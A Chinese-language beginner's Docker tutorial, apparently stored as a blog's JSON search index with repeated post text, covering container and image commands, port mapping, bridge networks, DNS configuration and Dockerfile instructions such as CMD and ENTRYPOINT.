/bin/bash\u003c/p\u003e\n\u003cp\u003edocker会先在本地查找是否有ubuntu(:latest)的镜像\u003c/p\u003e\n\u003cp\u003e如果有，就基于它创建一个容器\u003c/p\u003e\n\u003cp\u003e如果没有，它就自动执行  docker pull ubuntu:latest  拉取一个镜像下来再创建容器\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"停止运行的容器\"\u003e停止/运行的容器\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e首先需要查看容器的状态，使用命令如下\ndocker ps （参数）\n= \n无参数运行该命令会列出所有 “正在” 运行的容器，包括它们的容器 ID、镜像、命令、创建时间、状态、端口和名称\n\n参数说明：\n-a/--all 列出所有的容器（包括已经挂掉的）\n-q/--quiet  只显示容器id\n--format  自定义输出格式\n\tdocker ps --format \u0026#34;table {{.ID}}\\t{{.Names}}\\t{{.Image}}\u0026#34; \n    这将按照指定的格式列出容器的 ID、名称和使用的镜像\n-l/--latest  列出最近创建的容器\n-n numb  后接数字列出最后创建的 numb 个容器\n-f/--filter  过滤输出\n\n一般直接使用  docker ps -a\n\u003c/code\u003e\u003c/pre\u003e\u003cblockquote\u003e\n\u003cp\u003e停止容器：docker stop \u0026lt;容器id\u0026gt;\u003c/p\u003e\n\u003cp\u003e启动/重新启动容器：docker start/restart \u0026lt;容器id\u0026gt;\u003c/p\u003e\n\u003c/blockquote\u003e","title":"docker 容器使用"},{"content":"docker 镜像使用 获取镜像： docker pull\n使用 docker pull \u0026lt;image_name:tag\u0026gt; 从 “仓库” 中获取镜像 # tag为空的话默认为 latest 比如 docker pull ubuntu，默认拉取的镜像版本为 ubuntu:latest root@chenjx12:~/dc# docker pull ubuntu Using default tag: latest latest: Pulling from library/ubuntu eda6120e237e: Pull complete Digest: sha256:b359f1067efa76f37863778f7b6d0e8d911e3ee8efa807ad01fbf5dc1ef9006b Status: Downloaded newer image for ubuntu:latest docker.io/library/ubuntu:latest 这里就是从仓库中拉取到了官方的镜像 ubuntu:latest # 批量拉取 docker pull -a/--all-tags ubuntu 批量拉取会拉取所有标签的ubuntu # 怎么拉取别人的镜像 docker pull user/repo:tag 拉取用户名为user标签为tag的repo镜像 那么要怎么知道我们拉取的镜像仓库里有没有我们要的那个版本的镜像呢\ndocker search\n使用 docker search images 可以在仓库中搜索名为images的镜像 常用的一些选项： -f/--filter 添加条件搜索 --limit 限制搜索出的结果数量，默认为25条 --no-trunc 不截断输出，显示完整的镜像描述 eg： docker search --limit 5 ubuntu 只显示前5个搜索结果 docker search -f \u0026#34;is-offical=true\u0026#34; ubuntu 只显示官方镜像 docker search --filter \u0026#34;is-automated=true\u0026#34; ubuntu 只显示自动化构建的镜像 docker search -f \u0026#34;stars=100\u0026#34; ubuntu 只显示拥有超过100星标的镜像 使用docker search得到搜寻结果之后就能够知道哪些镜像有，哪些没有\n一般推荐下载星标最多的官方镜像，因为你也不知道别人上传的乱七八糟的镜像里有什么东西\n列出镜像 可以在终端输入 docker images 来列出本地的镜像\nroot@chenjx12:~/dc# docker images REPOSITORY TAG IMAGE ID CREATED SIZE ubuntu latest 61b2756d6fa9 2 weeks ago 78.1MB nginx latest 9527c0f683c3 6 weeks ago 188MB ubuntu 20.04 9df6d6105df2 7 weeks ago 72.8MB hello-world latest d2c94e258dcb 17 months ago 13.3kB ubuntu 15.10 9b9cb95443b5 8 years ago 137MB # 各项属性说明 REPOSITORY：表示镜像的仓库源 TAG：镜像的标签 IMAGE ID：镜像ID CREATED：镜像创建时间 SIZE：镜像大小 用镜像跑个容器 见容器使用\u0026ndash;启动容器 镜像导入/导出 docker save/load\ndocker save 命令用于将一个或多个镜像保存为一个 tarball 文件。与 docker export 不同的是，docker save 保存的是镜像而不是容器，并且会保存镜像的所有历史记录和层信息\ndocker save -o myimage.tar myimage 保存单个镜像\ndocker save -o myimages.tar myimage1 myimage2 将 myimage 或 myimage1 和 myimage2 镜像保存到 myimage.tar 文件中\ndocker load 命令用于从 tarball 文件中加载一个或多个镜像。与 docker import 不同的是，docker load 会恢复镜像的所有历史记录和层信息\ndocker load \u0026lt; myimage.tar\ndocker load -i myimage.tar\n注意： docker save 和 docker load 保存和加载的是镜像，包括所有层和历史信息。 docker export 和 docker import 保存和加载的是容器快照，不包括历史信息，只有一个压缩的文件系统。 因此，如果你需要保存一个镜像及其所有层，以便在其他 Docker 主机上使用，你应该使用 docker save 和 docker load。如果你只是需要从一个容器创建一个新的镜像，而不需要保存层信息，那么可以使用 docker export 和 docker import\n删除镜像 docker rmi\n即 docker rm (image)\ndocker rmi [image_id] docker rmi [image_name]:[tag] # 强行删除，比如有容器正在使用该镜像 docker rmi -f [image_id] # 删除所有未标记的镜像，有时候，你会有一些未标记或未使用的镜像，可以使用以下命令清理： docker image prune # 删除所有 docker rmi -f $(docker images -q) ","permalink":"https://chenjx12.github.io/posts/docker-%E9%95%9C%E5%83%8F%E4%BD%BF%E7%94%A8/","summary":"\u003ch1 id=\"docker-镜像使用\"\u003edocker 镜像使用\u003c/h1\u003e\n\u003ch2 id=\"获取镜像\"\u003e获取镜像：\u003c/h2\u003e\n\u003cp\u003edocker pull\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e使用 docker pull \u0026lt;image_name:tag\u0026gt; 从 “仓库” 中获取镜像\n\n# tag为空的话默认为 latest\n比如 docker pull ubuntu，默认拉取的镜像版本为 ubuntu:latest\n\nroot@chenjx12:~/dc# docker pull ubuntu\nUsing default tag: latest\nlatest: Pulling from library/ubuntu\neda6120e237e: Pull complete \nDigest: sha256:b359f1067efa76f37863778f7b6d0e8d911e3ee8efa807ad01fbf5dc1ef9006b\nStatus: Downloaded newer image for ubuntu:latest\ndocker.io/library/ubuntu:latest\n\n这里就是从仓库中拉取到了官方的镜像 ubuntu:latest\n\n# 批量拉取 docker pull -a/--all-tags ubuntu\n批量拉取会拉取所有标签的ubuntu\n\n# 怎么拉取别人的镜像\ndocker pull user/repo:tag\n拉取用户名为user标签为tag的repo镜像\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e那么要怎么知道我们拉取的镜像仓库里有没有我们要的那个版本的镜像呢\u003c/p\u003e\n\u003cp\u003edocker search\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e使用  docker search images  可以在仓库中搜索名为images的镜像\n\n常用的一些选项：\n-f/--filter 添加条件搜索\n--limit 限制搜索出的结果数量，默认为25条\n--no-trunc 不截断输出，显示完整的镜像描述\n\neg：\ndocker search --limit 5 ubuntu  只显示前5个搜索结果\n\ndocker search -f \u0026#34;is-offical=true\u0026#34; ubuntu  只显示官方镜像\ndocker search --filter \u0026#34;is-automated=true\u0026#34; ubuntu 只显示自动化构建的镜像\ndocker search -f \u0026#34;stars=100\u0026#34; ubuntu  只显示拥有超过100星标的镜像\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e使用docker search得到搜寻结果之后就能够知道哪些镜像有，哪些没有\u003c/p\u003e","title":"docker 镜像使用"},{"content":"docker 入门1 Author：chenj_x12@foxmail.com\n安装 docker的安装教程可以看菜鸟的：Docker 教程 | 菜鸟教程 (runoob.com)\n测试是否安装成功\n# 运行：docker run hello-world，出现如下文字说明安装成功 Hello from Docker ! This message shous that your installation appears to be uorking correctly.To generate this message，Docker took the follouing steps:1. The Docker client contacted the Docker daemon.， 2. The Docker daemon pulled the \u0026#34;hello-uorld\u0026#34; image from the Docker Hub.( amd64) 3. The Docker daemon created a new container from that image uhich runs theexecutable that produces the output you are currently reading. 4. The Docker daemon streamed that output to the Docker client,uhich sent it to your terminal. 配置镜像加速 安装好docker后，需要给它配置镜像加速，毕竟直接访问太慢了\n步骤如下：\ncd /etc/docker touch daemon.json vim daemon.json { \u0026#34;registry-mirrors\u0026#34;: [ \u0026#34;https://docker.m.daocloud.io\u0026#34;, \u0026#34;https://docker.1panel.live\u0026#34;, \u0026#34;https://registry.docker-cn.com\u0026#34;, \u0026#34;https://mirrors.docker.ustc.edu.cn\u0026#34;, \u0026#34;https://hub-mirror.c.163.com\u0026#34;, \u0026#34;https://mirror.baidubce.com\u0026#34; # 还有多的镜像站可以接着放，只要这里面有一个能用就行 ] } 如果有一定能力的话可以去阿里云、华为云找容器镜像加速服务，具体步骤网上找\ndocker客户端 基于终端命令行的docker客户端非常简单，可以直接输入 docker命令查看指令：\n一样的，可以使用 docker COMMAND \u0026ndash;help，查看对应指令的详细用法\n容器使用 启动容器 docker run\n使用 docker run （参数）images [COMMAND] 启动一个容器 eg：docker run -it ubuntu /bin/bash root@chenjx12:~/dc# docker run -it ubuntu /bin/bash root@e88f80e041c2:/# 发现了什么，root后面的东西变了对不对 这说明我们顺利的启动了容器，并且进入到了容器里面 现在就可以在容器里进行操作了 e88f80e041c2就是这个容器的ID，唯一的那种 如果我们选择后台运行 -d 参数，容器id会回显在终端 参数说明： -i 使用交互式操作 -t 开启终端 -d/--detach 后台运行 --name \u0026lt;new_name\u0026gt; 容器命名 -rm 退出容器时自动删除 --restart=always 挂了就自动重启 -v/--volume 挂载卷 -e/--env 设置环境变量 # 容器连接相关（后面会讲） -p 端口映射 -P 端口随机映射 /bin/bash 指明启动这个容器进入之后要执行什么命令 那docker run里的images是什么呢，它就是另一个重点，镜像\ndocker run -it ubuntu /bin/bash\ndocker会先在本地查找是否有ubuntu(:latest)的镜像\n如果有，就基于它创建一个容器\n如果没有，它就自动执行 docker pull ubuntu:latest 拉取一个镜像下来再创建容器\n停止/运行的容器 首先需要查看容器的状态，使用命令如下 docker ps （参数） = 无参数运行该命令会列出所有 “正在” 运行的容器，包括它们的容器 ID、镜像、命令、创建时间、状态、端口和名称 参数说明： -a/--all 列出所有的容器（包括已经挂掉的） -q/--quiet 只显示容器id --format 自定义输出格式 docker ps --format \u0026#34;table {{.ID}}\\t{{.Names}}\\t{{.Image}}\u0026#34; 这将按照指定的格式列出容器的 ID、名称和使用的镜像 -l/--latest 列出最近创建的容器 -n numb 后接数字列出最后创建的 numb 个容器 -f/--filter 过滤输出 一般直接使用 docker ps -a 停止容器：docker stop \u0026lt;容器id\u0026gt;\n启动/重新启动容器：docker start/restart \u0026lt;容器id\u0026gt;\n进入容器 在使用 -d 参数时，容器启动后会进入后台\n此时想要进入容器，有两个指令可以实现：\ndocker attach \u0026lt;容器id\u0026gt;\n使用该命令进入容器，再退出容器后容器会被停止\ndocker exec -it \u0026lt;容器id\u0026gt; /bin/bash\n使用该命令退出后不会停止，推荐使用\n注意： 想要再次进入容器的前提是容器还在运行，可以使用docker ps的status查看容器是否还在运行\ndocker作为一种节约资源的进程，会在当前容器没有任务执行的时候把它挂掉\n也就是说，如果你的容器挂掉了，它里面就没有任务了，也就进不去了\n同样的，正在后台运行的容器被docker stop停止了，也进不去，只是它不会被挂掉\n退出容器 直接在容器的终端输入 exit就可以退出容器回到宿主机\n容器导出/导出 docker export/import\ndocker export 命令用于将容器的文件系统导出为一个 tarball 文件。这不会包括容器的元数据或历史记录\ndocker export -o mycontainer.tar mycontainer\n如果你不指定 -o 选项，则导出的 tarball 将会输出到标准输出（stdout）\n这时就可以直接重定向\ndocker export mycontainer \u0026gt; mycontainer.tar\ndocker import 命令用于从 tarball 文件中创建一个新的 Docker 镜像。这个 tarball 文件通常是由 docker export 命令创建的\ncat mycontainer.tar | docker import - mynewimage\n如果有一个tarball文件：\ndocker import mycontainer.tar mynewimage\n这将创建一个新的镜像 mynewimage，其内容来自 mycontainer.tar 文件。\ndocker import 还可以指定一个url或者某个目录进行导入，如：\ndocker import http://example.com/example_contain.tgz example/imagerepo\n注意： docker export 导出的 tarball 不包含容器的元数据，例如标签、环境变量等。它只包含容器文件系统的内容。 docker import 创建的新镜像会丢失所有历史记录和层信息，只有一个单独的层。 删除容器 docker rm\n# 删除一个停止的容器 docker rm \u0026lt;容器id/名称\u0026gt; # 强行删除一个正在运行的容器 docker rm -f \u0026lt;容器id/名称\u0026gt; # 删除所有停止的容器（结合shell） docker rm $(docker ps -aq) # 删除所有容器 docker rm -f $(docker ps -aq) 镜像使用 获取镜像： docker pull\n使用 docker pull \u0026lt;image_name:tag\u0026gt; 从 “仓库” 中获取镜像 # tag为空的话默认为 latest 比如 docker pull ubuntu，默认拉取的镜像版本为 ubuntu:latest root@chenjx12:~/dc# docker pull ubuntu Using default tag: latest latest: Pulling from library/ubuntu eda6120e237e: Pull complete Digest: sha256:b359f1067efa76f37863778f7b6d0e8d911e3ee8efa807ad01fbf5dc1ef9006b Status: Downloaded newer image for ubuntu:latest docker.io/library/ubuntu:latest 这里就是从仓库中拉取到了官方的镜像 ubuntu:latest # 批量拉取 docker pull -a/--all-tags ubuntu 批量拉取会拉取所有标签的ubuntu # 怎么拉取别人的镜像 docker pull user/repo:tag 拉取用户名为user标签为tag的repo镜像 那么要怎么知道我们拉取的镜像仓库里有没有我们要的那个版本的镜像呢\ndocker search\n使用 docker search images 可以在仓库中搜索名为images的镜像 常用的一些选项： -f/--filter 添加条件搜索 --limit 限制搜索出的结果数量，默认为25条 --no-trunc 不截断输出，显示完整的镜像描述 eg： docker search --limit 5 ubuntu 只显示前5个搜索结果 docker search -f \u0026#34;is-offical=true\u0026#34; ubuntu 只显示官方镜像 docker search --filter \u0026#34;is-automated=true\u0026#34; ubuntu 只显示自动化构建的镜像 docker search -f \u0026#34;stars=100\u0026#34; ubuntu 只显示拥有超过100星标的镜像 使用docker search得到搜寻结果之后就能够知道哪些镜像有，哪些没有\n一般推荐下载星标最多的官方镜像，因为你也不知道别人上传的乱七八糟的镜像里有什么东西\n列出镜像 可以在终端输入 docker images 来列出本地的镜像\nroot@chenjx12:~/dc# docker images REPOSITORY TAG IMAGE ID CREATED SIZE ubuntu latest 61b2756d6fa9 2 weeks ago 78.1MB nginx latest 9527c0f683c3 6 weeks ago 188MB ubuntu 20.04 9df6d6105df2 7 weeks ago 72.8MB hello-world latest d2c94e258dcb 17 months ago 13.3kB ubuntu 15.10 9b9cb95443b5 8 years ago 137MB # 各项属性说明 REPOSITORY：表示镜像的仓库源 TAG：镜像的标签 IMAGE ID：镜像ID CREATED：镜像创建时间 SIZE：镜像大小 用镜像跑个容器 见容器使用\u0026ndash;启动容器 镜像导入/导出 docker save/load\ndocker save 命令用于将一个或多个镜像保存为一个 tarball 文件。与 docker export 不同的是，docker save 保存的是镜像而不是容器，并且会保存镜像的所有历史记录和层信息\ndocker save -o myimage.tar myimage 保存单个镜像\ndocker save -o myimages.tar myimage1 myimage2 将 myimage 或 myimage1 和 myimage2 镜像保存到 myimage.tar 文件中\ndocker load 命令用于从 tarball 文件中加载一个或多个镜像。与 docker import 不同的是，docker load 会恢复镜像的所有历史记录和层信息\ndocker load \u0026lt; myimage.tar\ndocker load -i myimage.tar\n注意： docker save 和 docker load 保存和加载的是镜像，包括所有层和历史信息。 docker export 和 docker import 保存和加载的是容器快照，不包括历史信息，只有一个压缩的文件系统。 因此，如果你需要保存一个镜像及其所有层，以便在其他 Docker 主机上使用，你应该使用 docker save 和 docker load。如果你只是需要从一个容器创建一个新的镜像，而不需要保存层信息，那么可以使用 docker export 和 docker import\n删除镜像 docker rmi\n即 docker rm (image)\ndocker rmi [image_id] docker rmi [image_name]:[tag] # 强行删除，比如有容器正在使用该镜像 docker rmi -f [image_id] # 删除所有未标记的镜像，有时候，你会有一些未标记或未使用的镜像，可以使用以下命令清理： docker image prune # 删除所有 docker rmi -f $(docker images -q) 容器连接 容器\u0026ndash;网络 先前在**容器使用\u0026ndash;启动容器** 中就讲了，docker run 后跟 -p和-P参数可以做到端口映射 和 端口随机映射\n首先说明为什么要做端口映射：\n容器构建了一个隔离于宿主机的环境，而外部网络只能访问到宿主机\n要在宿主机外的网络仍能够访问到容器，就必须把容器内运行服务的端口映射到宿主机上\n即，访问宿主机的这些端口等同于访问相应容器的端口\n也就是为了容器能够被宿主机外的网络访问到，所以做了端口映射\n比如运行nginx，mysql之类的服务的容器\n接下来看看具体的指令该怎么用，就拿一个nginx容器做例子吧\n# 端口映射 docker run -d -p 8080:80 --name test_p1 nginx 这个指令就是将容器的 80 端口映射给了宿主机的 8080 端口 这样访问宿主机的 8080 端口就可以访问到nginx服务 # 端口随机映射 docker run -d -P --name test_p2 nginx Docker会自动选择宿主机的一个空闲端口（默认是32768到61000）来进行映射 该指令不需要指定端口，它会根据容器中暴露的端口对宿主机进行随机映射 那么问题来了，我怎么知道哪些端口可用哪些不能呢\n# 可以查看存活的容器 docker ps 使用该指令查看存活容器的 PORT项，那些是它正在占用的端口 当然，你也可以给它加上个 -a 和 --format参数，列出所有容器 # 查看单个容器的端口映射 docker port [container_id/name] 回显与该容器相关的所有端口映射 # 查看容器详细信息 docker inspect [container_id/name] 在输出的JSON结果中，可以找到 NetworkSettings 部分，它包含了端口映射的详细信息 容器\u0026ndash;容器 docker除了容器和镜像，还在本地提供了容器连接的桥梁\ndocker 桥接网络 当Docker安装完成后，它会自动创建一个名为 docker0 的Linux网桥。这个网桥允许容器与宿主机以及容器之间进行通信。Docker容器默认连接到这个桥接网络\n通过它可以完成宿主机与容器间的通信\n查看docker桥接网络 使用指令 ifconfig docker0 或者 brctl show\n回显docker0网桥的详细信息，包括ip地址、子网掩码等\n自定义docker桥接网络 # docker network create -d bridge test-bet 使用该指令创建一个名为 test-net 的桥接网络，类型是 bridge 参数 -d 指定docker网络类型，有bridge、overlay # docker run -itd --name test1 --network test-net ubunut /bin/bash # docker run -itd --name test2 --network test-net ubuntu /bin/bash 运行两个名为test1和test2的容器，并加入到名为test-net的docker网络中 # docker exec -it test1 /bin/bash 进入容器test1 # apt-get update # apt install iputils-ping 更新下载ping # ping test2 可以发现可以ping的通 这说明test1和test2在同一个容器网络中 配置DNS 自动配置 我们可以在宿主机的 /etc/docker/daemon.json 文件中增加以下内容来设置全部容器的 DNS：\n{ \u0026#34;dns\u0026#34; : [ \u0026#34;114.114.114.114\u0026#34;, \u0026#34;8.8.8.8\u0026#34; ] } 设置后，启动容器的DNS会自动配置为114.114.114.114和8.8.8.8 配置完需要重启docker才能生效\nsystemctl restart docker 手动指定 如果只想在指定的容器设置DNS，可以使用如下指令：\ndocker run -it --rm -h host_ubuntu --dns=114.114.114.114 --dns-search=test.com ubuntu 参数说明： --rm：容器退出时自动清理容器内部的文件系统 -h HOSTNAME 或者 --hostname=HOSTNAME： 设定容器的主机名，它会被写到容器内的 /etc/hostname 和 /etc/hosts --dns=IP_ADDRESS： 添加 DNS 服务器到容器的 /etc/resolv.conf 中，让容器用这个服务器来解析所有不在 /etc/hosts 中的主机名 --dns-search=DOMAIN： 设定容器的搜索域，当设定搜索域为 .example.com 时，在搜索一个名为 host 的主机时，DNS 不仅搜索 host，还会搜索 host.example.com 如果在容器启动时没有指定 \u0026ndash;dns 和 \u0026ndash;dns-search，Docker 会默认用宿主主机上的 /etc/resolv.conf 来配置容器的 DNS\nDockerfile Dockerfile是啥 Dockerfile 是一个文本文件，其中包含了构建docker 镜像的所有指令\nDockerfile 是一个用来构建镜像的文本文件，文本内容包含了一条条构建镜像所需的指令和说明\n通过定义一系列命令和参数，Dockerfile 指导 Docker 构建一个自定义的镜像\ndocker build docker build 会根据Dockerfile中的指令，依次执行并构建镜像，指令如下： docker build (参数) [image_name]:[tag] [Path] 参数说明： -f 指定Dockerfile的位置（如果不在当前目录下） -t 设置镜像名称和可选的标签 --build-arg 设置构建时变量 --no-cache 不使用构建缓存 [Path]：Dockerfile 的位置，一般为 . ，表示在当前目录下寻找 注意：路径下有且仅能有一个Dockerfile文件 注意：以前是只能Dockerfile，现在dockerfile也可以了 dockerfile指令 Dockerfile 指令\t说明 FROM\t指定基础镜像，用于后续的指令构建。 MAINTAINER\t指定Dockerfile的作者/维护者。（已弃用，推荐使用LABEL指令） LABEL\t添加镜像的元数据，使用键值对的形式。 RUN\t在构建过程中在镜像中执行命令。 CMD\t指定容器创建时的默认命令。（可以被覆盖） ENTRYPOINT\t设置容器创建时的主要命令。（不可被覆盖） EXPOSE\t声明容器运行时监听的特定网络端口。 ENV\t在容器内部设置环境变量。 ADD\t将文件、目录或远程URL复制到镜像中。 COPY\t将文件或目录复制到镜像中。 VOLUME\t为容器创建挂载点或声明卷。 WORKDIR\t设置后续指令的工作目录。 USER\t指定后续指令的用户上下文。 ARG\t定义在构建过程中传递给构建器的变量，可使用 \u0026#34;docker build\u0026#34; 命令设置。 ONBUILD\t当该镜像被用作另一个构建过程的基础时，添加触发器。 STOPSIGNAL\t设置发送给容器以退出的系统调用信号。 HEALTHCHECK\t定义周期性检查容器健康状态的命令。 SHELL\t覆盖Docker中默认的shell，用于RUN、CMD和ENTRYPOINT指令。 接下来，会稍微细致的讲一下常用的指令\nFROM 指令：往往是Dockerfile 的第一条，指定base image\nFROM ubuntu\t# 指定ubuntu:latest作为基础镜像\nMAINTAINER chenjx12\t# 指定该dockerfile的作者为chenjx12（更换为LABEL）\nLABEL maintainer=\u0026ldquo;chenjx12@foxmail.com\u0026rdquo; # 指定作者chenjx12 LABEL = RUN echo \u0026lsquo;这是一个本地构建的镜像\u0026rsquo; \u0026gt; /tmp/1.txt\n用于执行后面跟着的命令行命令，RUN 有两种格式：\nshell格式\nRUN \u0026lt;终端命令行命令\u0026gt;\nexec格式\nRUN [\u0026ldquo;可执行文件\u0026rdquo;, \u0026ldquo;参数1\u0026rdquo;, \u0026ldquo;参数2\u0026rdquo;]\n例如：\nRUN [\u0026quot;./test.php\u0026quot;, \u0026ldquo;dev\u0026rdquo;, \u0026ldquo;offline\u0026rdquo;] 等价于 RUN ./test.php dev offline\n注意：Dockerfile每次执行都会在docker镜像上新建一层，过多无意义的层会造成镜像膨胀过大\n多个RUN指令可以 \u0026amp;\u0026amp; 符号连接命令，这样执行后，只会创建 1 层镜像\nCMD /bin/bash == CMD [“/bin/bash”]\n即运行镜像时默认执行/bin/bash，但是可以更改\n比如：docker run -it ubuntu:latest cat /tmp/1.txt\n这条指令运行容器时就会执行 cat /tmp/1.txt\nENTRYPOINT 同理，但是有细微的区别，后面会讲\nEXPOSE 80\n声明容器运行暴露听的特定的网络 80 端口，这样就可以访问在 80 端口运行的服务\n仅仅只是声明端口\n作用：\n帮助镜像使用者理解这个镜像服务的守护端口，以方便配置映射 在运行时使用随机端口映射时，也就是 docker run -P 时，会自动随机映射 EXPOSE 的端口 ENV NAME = “chenjx12”\n指定环境变量NAME为chenjx12\nARG 同理，也有细微区别，后讲\nADD Path/file\n将 Path路径下的file文件/目录复制到镜像中\n也可以使用 url\nCOPY 同，细微区别，后讲\nWORKDIR /opt\n指定工作目录为 /opt\n也就是进入容器后的目录为 /opt\n指定工作目录。用 WORKDIR 指定的工作目录，会在构建镜像的每一层中都存在。以后各层的当前目录就被改为指定的目录，如该目录不存在，WORKDIR 会帮你建立目录\ndocker build 构建镜像过程中的，每一个 RUN 命令都是新建的一层。只有通过 WORKDIR 创建的目录才会一直存在\nUSER root\n指定工作用户为root\n也就是进入容器后的身份为root\n用于指定执行后续命令的用户和用户组，这边只是切换后续命令执行的用户（用户和用户组必须提前已经存在）\n只能用于切换用户，如果需要添加用户还需要再RUN 一条指令添加用户\nVOLUME /data\n挂载容器内的/data文件夹，在容器运行时，该目录自动挂载为匿名卷，任何向该目录写入数据的操作都不会被容器记录\n保证容器存储层的无状态理念\n定义匿名数据卷，在启动容器时忘记挂载数据卷，会自动挂载到匿名卷\n作用：\n避免重要的数据，因容器重启而丢失，这是非常致命的 避免容器不断变大 ONBUILD 用于延迟构建命令的执行。简单的说，就是 Dockerfile 里用 ONBUILD 指定的命令，在本次构建镜像的过程中不会执行（假设镜像为 test-build）。当有新的 Dockerfile 使用了之前构建的镜像 FROM test-build ，这时执行新镜像的 Dockerfile 构建时候，会执行 test-build 的 Dockerfile 里的 ONBUILD 指定的命令。\n格式：\nONBUILD \u0026lt;其它指令\u0026gt;\nCMD \u0026amp; ENTRYPOINT 首先这俩都可以使用shell格式和exec格式，都没差\n主要区别在于，一个是默认执行（可以更改）；一个是主要执行（不允许更改）\n并且它们在传参上也有所不同\n比如现在，我想运行一个ubuntu容器，让它帮我用curl命令查看一下本机的ip\n先看看直接拉取一个ubuntu下来，怎么执行\n# docker pull ubuntu:20.04 # docker run -it \u0026lt;id\u0026gt; /bin/bash # apt-get update # apt-get install -y curl # curl -s http://ipinfo.io/ip root@c20b356e8ec0:/# curl -s http://ipinfo.io/ip 47.120.34.132 这里就会回显你的ip地址，如果我加上 -i 参数，则会输出HTTP响应头的详细信息 [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# curl -s http://ipinfo.io/ip -i HTTP/1.1 200 OK date: Thu, 03 Oct 2024 09:59:20 GMT content-type: text/plain; charset=utf-8 Content-Length: 13 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains 那么我们自行构建镜像呢\n# 咱接着来看看 ENTRYPOINT 版的，dockerfile_1 FROM ubuntu:20.04 RUN apt-get update \u0026amp;\u0026amp; apt-get install -y curl ENTRYPOINT [\u0026#34;curl\u0026#34;, \u0026#34;-s\u0026#34;, \u0026#34;http://ipinfo.io/ip\u0026#34;] 这样就行了，build一下运行容器试试\n[root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker build -t curl_ip:test . [+] Building 0.1s (6/6) FINISHED docker:default =\u0026gt; [internal] load build definition from dockerfile 0.0s =\u0026gt; =\u0026gt; transferring dockerfile: 142B 0.0s =\u0026gt; [internal] load metadata for docker.io/library/ubuntu:20.04 0.0s =\u0026gt; [internal] load .dockerignore 0.0s =\u0026gt; =\u0026gt; transferring context: 2B 0.0s =\u0026gt; [1/2] FROM docker.io/library/ubuntu:20.04 0.0s =\u0026gt; CACHED [2/2] RUN apt update \u0026amp;\u0026amp; apt install curl -y 0.0s =\u0026gt; exporting to image 0.0s =\u0026gt; =\u0026gt; exporting layers 0.0s =\u0026gt; =\u0026gt; writing image sha256:050f1c97507ca5e73b95c5659b4c9f23e249289e71bdad2bf101b2593e6116ba 0.0s =\u0026gt; =\u0026gt; naming to docker.io/library/curl_ip:test 0.0s [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker images REPOSITORY TAG IMAGE ID CREATED SIZE flask_web latest 69ce5c1bb4e0 20 hours ago 866MB curl_ip test 050f1c97507c 30 hours ago 143MB test_blog latest 4deac4dd6f5b 41 hours ago 141MB nginx latest 605c77e624dd 2 years ago 141MB ubuntu 20.04 ba6acccedd29 2 years ago 72.8MB hello-world latest feb5d9fea6a5 3 years ago 13.3kB centos 7.8.2003 afb6fca791e0 4 years ago 203MB # 那个curl_ip就是构建出来的了，接着使用容器运行它 [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker run -it 050 47.120.34.132 [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker run curl_ip:test -i HTTP/1.1 200 OK date: Thu, 03 Oct 2024 10:09:24 GMT content-type: text/plain; charset=utf-8 Content-Length: 13 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains 47.120.34.132 # 可以发现两个都可以 那么CMD呢，把dockerfile改一下就好了\nFROM ubuntu:20.04 RUN apt update \u0026amp;\u0026amp; apt install curl -y CMD [\u0026#34;curl\u0026#34;, \u0026#34;-s\u0026#34;, \u0026#34;http://ipinfo.io/ip\u0026#34;] 接着构建，运行\n[root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker run -it f28 47.120.34.132 # 显然直接运行出一个容器是没问题的 [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker run curl_ip:test -i docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: exec: \u0026#34;-i\u0026#34;: executable file not found in $PATH: unknown. # 加上 -i 参数，发现报错了 [root@iZf8z1f6vdo3jdz69xilspZ curl_ip]# docker run curl_ip:test curl -s http://ipinfo.io/ip -i HTTP/1.1 200 OK date: Fri, 04 Oct 2024 00:27:08 GMT content-type: text/plain; charset=utf-8 Content-Length: 13 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains # 当你自己在后面把完整的命令输入之后才行 这就是为什么说，CMD 指令可以被覆盖，是默认执行的命令\n当你运行时的 COMMAND 有了其他指令，docker 就会优先处理其他指令，而CMD 就被覆盖了\n而 ENTRYPOINT 指令不可被覆盖，是主要执行的命令\n这时就不需要在运行容器时加其他指令，但是可以加参数\n下面是来自[菜鸟教程的原文](Docker Dockerfile | 菜鸟教程 (runoob.com))\nCMD 类似于 RUN 指令，用于运行程序，但二者运行的时间点不同:\nCMD 在docker run 时运行。 RUN 是在 docker build。 作用：为启动的容器指定默认要运行的程序，程序运行结束，容器也就结束。CMD 指令指定的程序可被 docker run 命令行参数中指定要运行的程序所覆盖。\n注意：如果 Dockerfile 中如果存在多个 CMD 指令，仅最后一个生效。\n格式：\nCMD \u0026lt;shell 命令\u0026gt; CMD [\u0026#34;\u0026lt;可执行文件或命令\u0026gt;\u0026#34;,\u0026#34;\u0026lt;param1\u0026gt;\u0026#34;,\u0026#34;\u0026lt;param2\u0026gt;\u0026#34;,...] CMD [\u0026#34;\u0026lt;param1\u0026gt;\u0026#34;,\u0026#34;\u0026lt;param2\u0026gt;\u0026#34;,...] # 该写法是为 ENTRYPOINT 指令指定的程序提供默认参数 推荐使用第二种格式，执行过程比较明确。第一种格式实际上在运行的过程中也会自动转换成第二种格式运行，并且默认可执行文件是 sh。\nENTRYPOINT 类似于 CMD 指令，但其不会被 docker run 的命令行参数指定的指令所覆盖，而且这些命令行参数会被当作参数送给 ENTRYPOINT 指令指定的程序。\n但是, 如果运行 docker run 时使用了 \u0026ndash;entrypoint 选项，将覆盖 ENTRYPOINT 指令指定的程序。\n优点：在执行 docker run 的时候可以指定 ENTRYPOINT 